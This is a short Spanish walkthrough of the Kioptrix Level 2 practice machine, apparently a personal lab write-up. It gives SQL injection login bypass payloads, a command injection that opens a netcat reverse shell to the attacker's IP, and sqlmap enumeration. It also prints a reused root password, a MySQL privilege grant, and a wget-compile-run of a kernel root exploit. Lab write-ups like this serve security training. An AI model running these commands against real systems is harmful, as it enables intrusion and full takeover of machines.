Kioptrix level 2

Se pasa a la ejecución de comandos con la injection:
' or 1=1 -- -
y entramos a ejecutar comandos añadiendo el ";" o "|", asi podemos ver que tiene instalado el nc en /usr/local/bin/nc (whereis nc), con lo cual esperemos sea el tradicional, para lo que probramos a conectar a una consola atacante escuchando en el puerto 5555 (por ejemplo) haciendo en ella el "nc -lvp 5555" y ejecutando en el cajetin lo siguiente:
;/usr/local/bin/nc ipatacante 5555 -e /bin/bash
Poner el path, sino no funciona :)
Ahora vamos a ver las injecciones desde sqlmap, así que hacemos:

sierra@sierra:~# slqmap -u "iptacante/index.php" --data="uname=admin&psw=pass&btnLogin=Login" --dbs --level=5 --risk=3

los --data se obtienen de mirar la comunicación con un uso normal con tamper data, Live HTTP header u otros
Nos entrega la base de datos "webapp", y ahora probamos:

sierra@sierra:~# slqmap -u "iptacante/index.php" --data="uname=admin&psw=pass&btnLogin=Login" --is-dba --current-user

Vemos que is-dba es False y el usuario es john@localhost, con lo cual ahora sacamos toda la información de la base de datos que podamos, como usuarios y pass... y averiguamos que el pass de john y root son el mismo (hiroshima). Este pass lo podremos usar para conectar con mysql como root, y cambiar los privilegios
Ahora seguimos con la shell que tenemos creada, la mejoramos con

python -c 'import pty; pty.spawn("/bin/bash")'

o bien con:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
python /tmp/shell.py
:)
Ahora cambiamos los privilegios de root

bash-3.00$ mysql -u root -phiroshima -e 'grant all privileges on *.* to 'root'@'192.168.1.???';'

y miramos el kernel con "uname -a", para ver que es una versión 2.6.9 vulnerable, vamos a buscar el exploit que está en kali linux en "/usr/share/exploitdb/platforms/linux/local/9542.c", así que ponemos un servidor web en la maquina atacante (kali) con python y nos lo bajamos desde la shell que tenemos conectada.
máquina kali:

sierra@sierra:~# python -m SimpleHTTPServer 81

Como está claro, habremos copiado el 9542.c al raiz desde donde ejecutamos el servidor web, y en la shell que conseguimos con el nc hacemos:

bash-3.00$ wget -O /tmp/9542.c http://ipkali:81/9542.c && cd /tmp && gcc -o root 9542.c && ./root

Y ya tenemos el root conseguido